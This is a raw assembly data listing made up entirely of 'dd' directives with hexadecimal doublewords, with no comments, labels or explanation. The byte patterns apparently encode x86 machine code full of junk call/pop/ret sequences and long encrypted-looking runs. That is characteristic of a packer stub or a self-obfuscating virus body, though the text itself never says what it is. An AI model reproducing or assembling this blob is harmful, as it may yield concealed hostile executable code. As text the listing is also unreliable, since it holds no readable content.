56460000h, 16164CC3h, 6D8AD068h, 0DDBD8B5Eh, 8B05E423h dd 0E4109595h, 0CE905h, 48140000h, 0E3DEC142h, 33271E80h dd 8D8B59D6h, 5E42C65h, 322DBD8Bh, 6E905E4h, 0DD000000h dd 64A829EEh, 0C28B5048h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E991C357h, 7, 827AD95Ch, 0E9281FF2h dd 7, 0C9CB43B9h, 6A896FC0h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 9683C352h, 9E592AC1h dd 6658CAACh, 83F0B6BFh, 0E42135BDh, 840F0005h, 5Fh, 6DBD03h dd 0B805E4h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 21A1C357h, 4C308D8Dh dd 958905E4h, 5E4084Dh, 6AE1FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0A1FC9CC3h, 0C780765Ch dd 0AD8D8943h, 8305E408h, 0E430FDBDh, 840F0005h, 3EBh dd 5E9h, 0FEDA4000h, 0BD835BB2h, 5E430FDh, 0EF840F01h dd 6A000003h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 501BC352h, 839DB974h, 0E430FDBDh dd 860F0305h, 38Ch, 6003CB80h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 7AC35747h, 164C77E8h, 8AD06816h dd 2DEB816Dh, 56354D4Fh, 111DBD8Bh, 665F05E4h, 0DE8BD98Ch dd 8904E180h, 0E40075B5h, 0FC90A05h, 0ED84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8BDACEC1h, 0E4234D9Dh, 858BF805h, 5E42C9Dh, 33D98B66h dd 0E4209985h, 1605205h, 0E432458Dh, 0F4BB6605h, 505F6150h dd 89D88B66h, 0CB812404h, 41626BAFh, 9589006Ah, 5E42545h dd 0D8C17F68h, 6E8BAh, 38790000h, 3F0E7268h, 0AE9h, 9AF4AA00h dd 54839CE3h, 5BD734FFh, 80240481h, 6A454642h, 3E85100h dd 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0E869C351h dd 11E99Ch, 77550000h, 0BF2DF4B3h, 8BD511BFh, 0EE6834E2h dd 89C829CEh, 0E4005195h, 5995FF05h, 0E905E401h, 6, 0A38A6689h dd 85892177h, 5E79F5Fh, 8E9h, 5403DB00h, 42A3677Fh, 75B501DAh dd 0E905E414h, 1C4h, 850Fh, 858B0000h, 5E79F57h, 1800C7F8h dd 81000000h, 90C16BF7h, 8BFA8B49h, 0E79F5BB5h, 9E805h dd 0ED4C0000h, 2BD2E2F1h, 6050777Ch, 1179BD8Bh, 858B05E4h dd 5E410BDh, 9D0B5F61h, 5E41049h, 2A21858Bh, 0BD2905E4h dd 5E41A4Dh, 6A0689h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0B1CAF7C3h, 858BFCF8h, 5E42C9Dh dd 22AD9D0Bh, 468905E4h, 0B99D8B04h, 9605E426h, 0D810Fh dd 52500000h, 310F5B56h, 0E580F6BFh, 50585A19h, 5C82BF66h dd 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0A6451232h, 68D0Fh, 9D8B0000h, 5E417A1h dd 1DA9BD23h, 0B5FF05E4h, 5E79F57h, 1D41BD8Bh, 4E805E4h dd 0FF000000h, 50001F03h, 448BF98Bh, 66BF0424h, 8B2276F8h dd 4B37BF00h, 448941D8h, 6A580424h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0FF31C357h dd 8B547F0Bh, 0E421C9BDh, 5F858D05h, 6605E79Fh, 0DB56C781h dd 12E890h, 68130000h, 694EAFC7h, 9EAD3BE0h, 25BD2258h dd 8A1AAA4Bh, 5250505Fh, 5B525250h, 880F310Fh, 0 dd 310F585Ah, 5ADF8B66h, 6A9058h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 2BD665C3h, 4EF65D10h dd 0EE952h, 94360000h, 0A5C996BBh, 0AD206501h, 0A83A8465h dd 0DE960h, 0D3A90000h, 0B6800B92h, 0E676532Ch, 80DAFC1Fh dd 0FF6150CFh, 0E4015995h, 81666005h, 50175EDAh, 19DD8D8Bh dd 615A05E4h, 0D98B6661h, 30FD85C7h, 305E4h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 8F8BE0C3h, 0EF42B6BEh, 838292E8h, 0E79F5FBDh, 840F0005h dd 54h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh dd 25C35545h, 70779CD7h, 0FE50452Ch, 85BD8968h, 0E905E41Bh dd 3Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h dd 27C35242h, 0BD8BBF69h, 5E41B65h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 0C7BF66FEh dd 0FDBD8347h, 305E430h, 449850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 59B264C3h dd 0C5BB7916h, 832A98F9h, 0E79F5FBDh, 840F0005h, 417h dd 1EE9BD8Bh, 0B5FF05E4h, 5E79F5Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 26C35141h, 8B40145Fh, 0E4265D9Dh dd 1595FF05h, 6A05E41Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 9C70C352h, 1B97B99Eh dd 36742749h, 13859D8Bh, 0BB6605E4h, 0B58BF7E3h, 5E79F53h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 79C35646h dd 0C76B14A8h, 1000106h, 198D8900h, 9605E413h, 5E9h, 0F4089700h dd 0F506220h, 0E8Fh, 0F525000h, 83h, 8A310F00h, 96585AD8h dd 14A59529h, 0BD8905E4h, 5E42A2Dh, 9F5FB5FFh, 8B6605E7h dd 2D95FFF9h, 6A05E417h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0D3EFC351h, 5BA9F0D8h dd 7B120070h, 17599D23h, 9D8B05E4h, 5E41715h, 9F53B58Bh dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 821A32C3h, 66B05D52h, 582CDB81h, 1D1D858Bh dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BB668BC3h, 0FE8BFDB9h, 0C48689h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 417B8CC3h, 545F6684h, 95958B3Bh, 5605E410h, 14F58D29h dd 0E95F05E4h, 0Fh, 4BA77F94h, 964B61ACh, 8DBFCB99h, 8339E38Dh dd 0BFB704C2h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0C813C356h, 2E5CF9AAh dd 8DC6DF80h, 0E7B38485h, 89D98B05h, 0B886h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0F9D1137h, 68Ah, 0CD8D8900h, 6A05E41Ah, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0FF936933h, 0E79F5FB5h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0FE975BFh dd 0EF000000h, 6E9A01E0h, 4A6820FAh, 3B0DEC7Eh, 8B6048D8h dd 0E4253D85h, 299D8B05h, 6105E429h, 104595FFh, 6A05E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 3C893C3h, 0E42C799Dh, 0E850F805h, 10h, 0D7F44D8Ch, 6191B1D5h dd 0FC297AF6h, 4CC5BEBCh, 7E9h, 0C5188800h, 0EEA4C5A6h dd 2434895Bh, 2A1DB589h, 0B5FF05E4h, 5E79F5Fh, 2B958D01h dd 13E905E4h, 2B000000h, 0BB124098h, 3D3EA524h, 0B3407F97h dd 266CB3EFh, 95FFC068h, 5E41365h, 8F9BD83h, 0F0005E4h dd 5284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0F9BF0FC5h, 0F2BB6650h, 24348950h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 99C35141h dd 0FEE49C76h, 0DE99A394h, 11B5890Bh, 0FF05E422h, 0E79F5FB5h dd 0AE805h, 44560000h, 0D1842ADAh, 7E571567h, 0F95F40B7h dd 29C595FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 238199C3h, 9D8B8F86h, 5E426F1h dd 9F5FB5FFh, 95FF05E7h, 5E41971h, 4806F781h, 83FC6902h dd 0E43125BDh, 840F0205h, 5Ch, 5958957h, 5B05E427h, 1191858Bh dd 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0C475CFC3h, 59B099EDh, 0E8148C04h, 0Eh, 1741ECB2h dd 79849222h, 2546CE75h, 0BD23A986h, 5E43135h, 0C65Fh dd 5F536053h, 1189858Bh, 5B6105E4h, 19E585C7h, 5E4h, 0E9FC0000h dd 0FFFFF3D6h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 6C0EE1C3h, 0C9825BB3h, 4B8D8DE9h dd 6A05E92Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 3786C353h, 0BC8AC945h, 8EA7CC8Ch dd 0FE1958Bh, 8D8905E4h, 5E41095h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 9FC35040h, 0D95596AFh, 76BF2E61h dd 9E9h, 6B3E2B00h, 0DF894861h, 85C7992Fh, 5E42C65h, 6A78h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CDC35646h dd 319AB237h, 77E87A7Fh, 85C7D98Ah, 5E430FDh, 0 dd 0FFDA8B66h, 0E425F5B5h, 95FFF505h, 5E42A61h, 98ADD9BBh dd 0FF006A7Fh, 0E410C195h, 0EBC08B05h, 4F8F8228h, 4410FCDDh dd 0BD6273ECh, 181885E5h, 7D1CBE35h, 1ADB6C56h, 0CCCA28B1h dd 96AE1985h, 13181606h, 74959BE5h, 0B48D8D2Ch, 6A05E92Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 9621C356h, 66BBBB27h, 0F2192B8h, 682h, 0C6DF8100h dd 894F940Dh, 0E410958Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0A609C3D8h dd 3DBD8991h, 0C705E401h, 0E42C6585h, 6D4805h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD8B083Dh, 5E408B9h, 8A0Fh, 8B500000h, 85C75AD1h, 5E430FDh dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0AFC35040h dd 5624D6B4h, 14E985h, 31E90000h, 0D411FC6Ch, 0EC4B6757h dd 2379AA48h, 4B01933Eh, 0B5FF6E76h, 5E41001h, 2E758501h dd 95FF05E4h, 5E42A61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0D4C35545h, 0BF0D4845h, 99D895Fh, 8905E429h dd 0E40CCD85h, 14E905h, 0FB530000h, 0BBA8262Ch, 0EB2D285Ah dd 0B3F12C3Ch, 0B21E254Eh, 6A573Bh, 10C195FFh, 0C08B05E4h dd 6F0C79EBh, 11E32525h, 0CA10C71h, 38C293F1h, 65E419EBh dd 0D8007655h, 9AE53097h, 977946CAh, 0F71507DBh, 0BB11CDC0h dd 4DA6BDFDh, 0FED92876h, 0DB02D37h, 7EF37237h, 1B705CDBh dd 2AA8BF40h, 0F37F800Ah, 74061455h, 0C4740D47h, 0C8547E02h dd 0C0371B55h, 5F0C470Dh, 378BC87Ah, 0A74EC530h, 7F2BD3D0h dd 320F66B4h, 8764B514h, 0C8FB6F02h, 2E528D22h, 5B9946EAh dd 0DE1B1700h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 307C0C7Ah, 0FFB44E60h dd 0F867A5E4h, 0A37C00C6h, 3EA8A3BEh, 796723D4h, 0F061A3BAh dd 0D71B23D7h, 307C0456h, 831D2933h, 0C0982633h, 4FB464B6h dd 0D6157636h, 0AC710A07h, 2D0DD963h, 839DC217h, 35982664h dd 1F152359h, 48710A77h, 921DAB63h, 39DCF1Fh, 0B495B3CCh dd 149323D7h, 6AA1A23Ch, 0B0152633h, 9F710A77h, 4DAACE63h dd 0F6D82633h, 7FD2A3BEh, 24C823DAh, 3DB462B6h, 0FF677636h dd 307C01E6h, 1794E2B0h, 0A4B462B6h, 23157636h, 56710A07h dd 500DD963h, 3D9DC217h, 6A982651h, 6474AD66h, 11CE7464h dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h dd 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9F710A01h, 60FFABBEh dd 932023DAh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h dd 0FFF2850Fh, 0B58DFFFFh, 5E92D67h, 2D868D8Dh, 0CF2B05E9h dd 8B05E983h, 0FA8D8DC8h, 8905E92Dh, 0E404418Dh, 958D8905h dd 0F05E410h, 85C7DFB7h, 5E42C65h, 5BBCh, 20618D29h, 85C705E4h dd 5E430FDh, 0 dd 7499D89h, 0B5FF05E4h, 5E402D9h, 95FFDA8Ah, 5E42A61h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D5C35242h dd 55B58B7Dh, 6605E422h, 0B53ED081h, 95FF006Ah, 5E410C1h dd 19EBC08Bh, 3EAA478Bh, 4AAB5AD4h, 9966E6DFh, 0C4B5F43Bh dd 4EDD01ADh, 0A02A9E2Fh, 5E84Ah, 15FC0000h, 668D709Eh dd 575ED68Bh, 0DD8501h, 815B05E4h, 6550C6h, 79B53100h dd 2B05E420h, 19B966FFh, 3E048BE0h, 9E9h, 0C9784F00h, 0B5A2A307h dd 0C08187A2h, 67DF4BD5h, 69F1E881h, 8D317033h, 5E421BDh dd 96FAC081h, 0B5892F8Fh, 5E41851h, 0F3E0489h, 183h, 0D78BF500h dd 0F804EF83h, 9B34FF81h, 850FFFFFh, 0FFFFFFB5h, 14840Fh dd 0DE80000h, 0A7000000h, 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh dd 8D8D5AF9h, 5E92F7Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 3BC35747h, 18258D89h, 8D8905E4h, 5E41095h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E5C35545h dd 3A8CE2B3h, 0F5952360h, 0B005E420h, 6585C73Dh, 0A405E42Ch dd 6A00005Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8965C353h, 0E42835B5h, 0FD85C705h dd 5E430h, 31000000h, 0E427E185h, 0F4BB6605h, 0FDB5FF96h dd 8905E422h, 0E4087995h, 6195FF05h, 6A05E42Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0E915C357h, 8, 0A7160F0Ah, 84401AE8h, 95FF006Ah, 5E410C1h dd 1CEBC08Bh, 7D18D026h, 59A6E7Ah, 5EA3A396h, 0B286DC5Fh dd 38C9F333h, 828F9FD8h, 272C6AF5h, 0BF1C27FDh, 1D71250Eh dd 0B7C94871h, 0D0DA0D0Eh, 3DB9ACDCh, 16C1116Fh, 40CCA992h dd 0BF9FFC22h, 30CF145Dh, 0B145ACCEh, 31288E72h, 9C27313Eh dd 0E733A93Fh, 894FF4B7h, 31288E7Bh, 64DBD83Bh, 30CF14CEh dd 0B145ACCEh, 31288E72h, 9116313Eh, 0E733A93Fh, 0A945F4B7h dd 312887FFh, 0E55127CEh, 0BFC948B1h, 67CCC60Eh, 34CCAF8Fh dd 0F7978CB3h, 10902582h, 10882DE8h, 34CCB072h, 0F79FEF3Bh dd 0A3B06775h, 5538AB0Ah, 0EC40CAE4h, 211B2DD5h, 15592724h dd 9CC948E1h, 9D48A372h, 52CCAC38h, 6997761Ch, 28A1114Dh dd 3BCCA983h, 34CC8437h, 34C044D9h, 177DACECh, 21786880h dd 25E5B5BDh, 0A1EFE202h, 3128AB07h, 37B6453Ch, 0B0C3ACB3h dd 34CCACDCh, 2F1B2D8Ah, 13CC1294h, 0BF9BAE3Bh, 0D0DE5908h dd 0B141F7CBh, 312B29EEh, 0DC9AACD9h, 34CCACDAh, 6A0FF2CCh dd 30E8D8FFh, 30E8E8BAh, 34CCAC8Bh, 80FFA88h, 0E433D2A8h dd 3B0C294Fh, 34CC525Dh, 63F42DECh, 3B372D10h, 34CCE0BEh dd 66CCC69Dh, 34CCAF26h, 0F7968C67h, 109825E9h, 10882DDDh dd 34CCB8E8h, 0F79EEE76h, 4175CADAh, 4C4DCA4Dh, 3BCEAECAh dd 34CFBEE3h, 67CCC6B3h, 34CCAF31h, 0F7978CECh, 1090252Dh dd 10882D3Fh, 34CCB499h, 0F79FEFCEh, 0AFB91803h, 0C4DCAF6h dd 0B1C3CC45h, 34CCAC77h, 0DC9BAC1Ch, 34CCAC38h, 6B0FF3BDh dd 30E8D047h, 30E8E8E6h, 34CCACA7h, 110FFB9Eh, 34CA2DE3h dd 8945AC76h, 31288182h, 0AE052DFBh, 0B4781B6Ch, 3B24AE1Fh dd 34CCCE36h, 3248A3D9h, 3DCCACECh, 0D0E0C1E3h, 4C4DCA3Eh dd 3B67AC9Bh, 34CCE64Bh, 4E77CA67h, 364145AFh, 34A6ACD9h dd 34CF44BFh, 6FECAC76h, 6845F7F8h, 704DA8B9h, 34D0A8EAh dd 678FAC67h, 0C75DBF70h, 98B12E9Eh, 2624B75Fh, 98CCAC76h dd 0D3C72BE8h, 2626DEB1h, 4847E363h, 0A7D641B0h, 261C178Eh dd 8A96B3CBh, 72CDADECh, 309D11FDh, 0B141A9DFh, 312B2914h dd 34A67C31h, 34CF4435h, 6EECACB3h, 6045F61Ah, 704DA8C8h dd 34D6A852h, 668EAC3Bh, 808A835Eh, 56C9C2F1h, 0C7877BE6h dd 0B9E7F27Ah, 3128BFF4h, 0B0C36C69h, 34CCAD9Ah, 0C4D71B1h dd 36CE91FBh, 34F729C1h, 34A6AC67h, 34CF44E0h, 6FECACD9h dd 6845F72Fh, 704DA852h, 34D8A81Fh, 678FAC9Dh, 52ACED0Dh dd 3BB7E2DFh, 34CCAA3Ah, 344AA3D9h, 55CCACECh, 52CAD4F7h dd 3BB6F306h, 34CD1619h, 0C4DCACEh, 0B1C3CCFBh, 34CCACCDh dd 34CA2BD6h, 0B0C3ACECh, 34CCAC76h, 0DCCED4BBh, 34A42992h dd 0B5AAACCEh, 52B963A4h, 34CAD432h, 6349A319h, 5ECCACECh dd 3724FD76h, 14CCAC3Bh, 0BD956FC4h, 0B5C88882h, 28C88823h dd 75CCACB3h, 0D3016F88h, 23079DA2h, 3B5F744Ah, 68256484h dd 5ECCAC9Ch, 3724FCCEh, 14CCAC67h, 0BD946FEBh, 0B5C8889Dh dd 29C888A8h, 74CCAC76h, 54726F6Bh, 0EA9FF8EAh, 2D554893h dd 35A9194Eh, 3472A957h, 52B2ADD8h, 0B9690B56h, 0D34925F3h dd 0FD598F3Eh, 0CBC94884h, 8947FB1Eh, 3128A49Ah, 3B0C29EAh dd 34CC5F5Dh, 0D5927ECh, 0B4C94851h, 0B1C34403h, 34CCACD4h dd 0DC9AACA4h, 34CCAC64h, 6A0FF293h, 30E8D850h, 30E8E86Dh dd 34CCAC6Dh, 0D80FFA7Dh, 3927B011h, 0BF575A9Eh, 0D0CB79DAh dd 31B42CB6h, 2249A3AAh, 5CCACECh, 0D0D659C3h, 33B42C3Eh dd 8C48A3CEh, 0BDCCACCEh, 0D0CC99D2h, 0C4DCAB6h, 0B1C3A956h dd 34CCAC7Ch, 34C02B79h, 0B1C3AC3Bh, 34CCAC9Bh, 36913945h dd 4C4CA983h, 0B1C3C4B5h, 34CCACADh, 0DC9CAC86h, 34CCAC75h dd 6C0FF41Bh, 30E8E814h, 30E8E84Fh, 34CCAC70h, 4F0FFCF3h dd 0BF923B5Fh, 0D0C1E171h, 0FB47CA73h, 3FB42D5Dh, 0B1C38962h dd 34CCAC8Eh, 0DC9FAC0Dh, 34CCACB0h, 6F0FF7F9h, 30E8F065h dd 30E8E8F7h, 34CCAC2Ch, 680FFFDEh, 0DDF72300h, 34CCAC68h dd 0EB91F7C7h, 0A0837C4Ah, 0CC8B9AEh, 0DD40D5BBh, 34CCAC24h dd 0B945C72Bh, 3128B677h, 34CCACDFh, 7975CCB3h, 0CCC87E91h dd 34C6458Dh, 7573AC76h, 8C819FFCh, 34CCAC9Ch, 6412275Eh dd 0C54DCAF7h, 894132ADh, 31258346h, 0E52161h, 1774A99Fh dd 37BBCA6Eh, 0D0D38D18h, 0F50387CBh, 0ADD83472h, 0B5652B2h dd 25F3B969h, 8F3ED349h, 4884FD59h, 0FB1ECBC9h, 0E9838947h dd 58A4F305h, 17C99D89h, 0BFC05E4h, 25840FC0h, 8D000000h dd 0E44C30B5h, 0C58D8B05h, 0B805E426h, 3, 6860Fh, 8D0B0000h dd 5E413C1h, 9D89E6FFh, 5E40CF1h, 0A18D8B40h, 8B05E42Bh dd 405FB9C0h, 0BD8303E9h, 5E416A1h, 83097500h, 0E4220DBDh dd 19740005h, 0C08B5350h, 403B8h, 55858900h, 8D05E41Ah dd 0E6A9529Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h dd 403B8h, 55858900h, 8D05E41Ah, 0E6A5F39Dh, 5BD3FF05h dd 12E858h, 0EB250000h, 291E2A74h, 9D451378h, 38B54071h dd 0C2F6F9B4h, 2AE5958Bh, 0B25B05E4h, 89C08BBAh, 0E42C5995h dd 8E86105h, 4E000000h, 49E52995h, 8B271A19h, 0E41B859Dh dd 840F5905h, 6, 7FF8EE81h, 0C1815A25h, 67F8h, 6840Fh dd 9D8B0000h, 5E42D1Dh, 0B5B794BAh, 0C5EA8121h, 6621B59Dh dd 67E8CB81h, 880F31FFh, 6, 1049BD89h, 8B5805E4h, 0E41AEDBDh dd 0F08105h, 60629DEAh, 2CF18503h, 11E905E4h, 0A2000000h dd 0D71EB048h, 0CD83E3CFh, 87022FA2h, 90B1D280h, 97F08161h dd 603C5DAEh, 7D9B589h, 58B805E4h, 6106C06Fh, 0B628F081h dd 0BD8B4336h, 5E411A1h, 81660189h, 81895FD6h, 345770E9h dd 0D8BF0F4Bh, 576CC181h, 8D894B34h, 5E407F5h, 0F01EA83h dd 0FFFF8385h, 299D09FFh, 0E805E429h, 0Eh, 8727622Dh, 5DF8D12Fh dd 4EE912AEh, 0B70F3643h, 0F38058D0h, 78C08133h, 0B2000071h dd 6856h, 81590000h, 0A195D2EBh, 134FF6Fh, 275D958Bh, 665E05E4h dd 0F681D38Bh, 7F06B1Ch, 8103F680h, 442429EEh, 2830F46h dd 8B000000h, 0BEEE81D9h, 0F5014AAh, 581h, 0EA816600h dd 3489B9D3h, 0CA816608h, 9589ECD0h, 5E40069h, 0F04E983h dd 0F981DFBFh, 0FFFF8F08h, 0FFAB850Fh, 9529FFFFh, 5E41495h dd 54305820h, 13031C8h, 0C26D1210h, 255CBB55h, 2574B300h dd 1302F06h, 0C2657701h, 7225993Bh, 404D5BF5h, 8D56C196h dd 523058C8h, 13031E0h, 0C26B1204h, 256CBB59h, 2574B305h dd 1302B84h, 0C2637140h, 564A4EA0h, 8CB93AADh, 4D416E1h dd 853F36ACh, 1303095h, 0E960326Bh, 1303283h, 59F36A60h dd 51476A9h, 5147691h, 1303210h, 0AEF36244h, 0A9EE9677h dd 13FB50Eh, 0BD93280h, 0E4303240h, 185205DDh, 0AC0662DDh dd 6C8DB1A3h, 135D618h, 166B60Dh, 0BF563201h, 4DD96AF7h dd 6B303242h, 2D86420h, 21303210h, 886EF156h, 80341670h dd 1D341646h, 47303201h, 0CFDFF1D6h, 57187FD8h, 61A38481h dd 13021F8h, 10816708h, 2A8C05B3h, 0D56FD434h, 23618974h dd 581C563Ch, 2A91AF63h, 8A6B37C4h, 0B40153DEh, 4D4259Dh dd 2BA3D94h, 67303202h, 6760E58Ah, 91FB433Bh, 2DF1A771h dd 3F37C4h, 6BCE165Ch, 2D86008h, 21303204h, 886AF158h dd 80341655h, 193416C4h, 43303240h, 0AE45F172h, 0AB51Ch dd 0E5028B9Dh, 0E0ADB901h, 5935D62Bh, 0E961326Bh, 1303283h dd 58F36B60h, 5147EA9h, 5147691h, 1303210h, 14F36345h dd 200413C4h, 6B1CF282h, 2D86080h, 21303240h, 886AF17Ah dd 80341644h, 1734164Ch, 43303204h, 4A5CF150h, 6B38B9B2h dd 2D86480h, 21303240h, 886EF17Eh, 80341664h, 1434164Ch dd 47303204h, 8FC2F154h, 80566561h, 5F3DDA49h, 607D8420h dd 49BB5441h, 38B154ECh, 853FCD3Eh, 13032BAh, 0E9603268h dd 1303202h, 59F36AA0h, 51476C9h, 51476A1h, 1303204h, 72F36248h dd 0EADA78Fh, 0F7B137E6h, 4F7F2F22h, 6B39F303h, 2D86140h dd 21303220h, 886BF14Bh, 80341654h, 17341640h, 42303202h dd 511FF152h, 0A8C18838h, 38B047F1h, 0E5B53DC9h, 67303210h dd 0F22DF889h, 6B31738Fh, 2D86702h, 21303201h, 886DF1DDh dd 8034162Ch, 16341664h, 44303210h, 3F5CF15Dh, 0C933FAA2h dd 19198F29h, 0C0B337E5h, 20AD0185h, 8035D660h, 427BA219h dd 0A1B53D9Bh, 6B303208h, 2D86104h, 21303202h, 886BF15Ah dd 803416DCh, 1A341604h, 42303220h, 270DF143h, 6F300E17h dd 8CBDBA44h, 4D47E32h, 0E967326Bh, 1303283h, 5EF36D60h dd 5144EA9h, 5147691h, 130321Ch, 12F36543h, 8EF2B355h dd 5E0AD9B0h, 1303138h, 56305840h, 13031C8h, 0C26F1210h dd 254CBB57h, 2574B300h, 1302F06h, 0C2677501h, 21DB23DDh dd 5EFC96B3h, 0FEC9431Ah, 533058F1h, 13031E0h, 0C26A1204h dd 2564BB58h, 2574B305h, 1302A84h, 0C2627040h, 450D1F12h dd 388503ABh, 6035D60Ch, 0E961326Eh, 1303201h, 58F36B21h dd 5147E09h, 51476C1h, 1303236h, 76F36351h, 0BCBDD25Ah dd 4D9044Fh, 3845BF8Fh, 758837E8h, 3231A003h, 0E534BBC5h dd 0C0FF1925h, 54305820h, 13031C8h, 0C26D1210h, 255CBB55h dd 2574B300h, 1302F06h, 0E9837701h, 8BA4F305h, 5958BC0h dd 6A05E428h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0F206C353h, 0D5AD10DBh, 8BF6D7BFh dd 12E8C3h, 0D9EE0000h, 543E2A14h, 0FE09EB08h, 3A90A9E7h dd 9D0F572Ch, 48D0Fh, 8B560000h, 8B5E59CEh, 0A4C681CAh dd 8B000071h, 0E40F919Dh, 1C3F6805h, 0BD310000h, 5E40D55h dd 858B605Ah, 5E41B5Dh, 2CF58D89h, 8B6105E4h, 12F08106h dd 0E959A056h, 5, 4BC42A5h, 0DAE88141h, 892726F5h, 0E4278985h dd 28C08105h, 600395AFh, 2CA9958Bh, 0E7BF05E4h, 6145A4D1h dd 55858950h, 8F05E424h, 6DBD8B06h, 8105E431h, 4495B9EEh dd 31B50108h, 8105E414h, 4495B5C6h, 28D0F08h, 0B7000000h dd 850F4AF7h, 0FFFFFF9Fh, 20ED9589h, 0B0E905E4h, 60000000h dd 0F6DA8C66h, 850F04C2h, 0Ch, 28E5853Bh, 840F05E4h, 36h dd 2379853Bh, 840F05E4h, 2Ah, 0FB9853Bh, 840F05E4h, 1Eh dd 2D59853Bh, 840F05E4h, 12h, 206DBD83h, 0F0105E4h, 584h dd 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h, 840FC985h dd 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h dd 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4C309D8Dh, 5B805E4h dd 0FF000000h, 0BC361E3h, 0C18D8DD0h, 6A05E93Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 898BC356h, 0E414B1BDh, 958D8905h, 8905E410h, 0E4243D8Dh dd 958D8905h, 0C705E40Fh, 0E42C6585h, 586005h, 3890F00h dd 80000000h, 816614D3h, 0C781E6E8h, 0E430FD85h, 5, 51006A00h 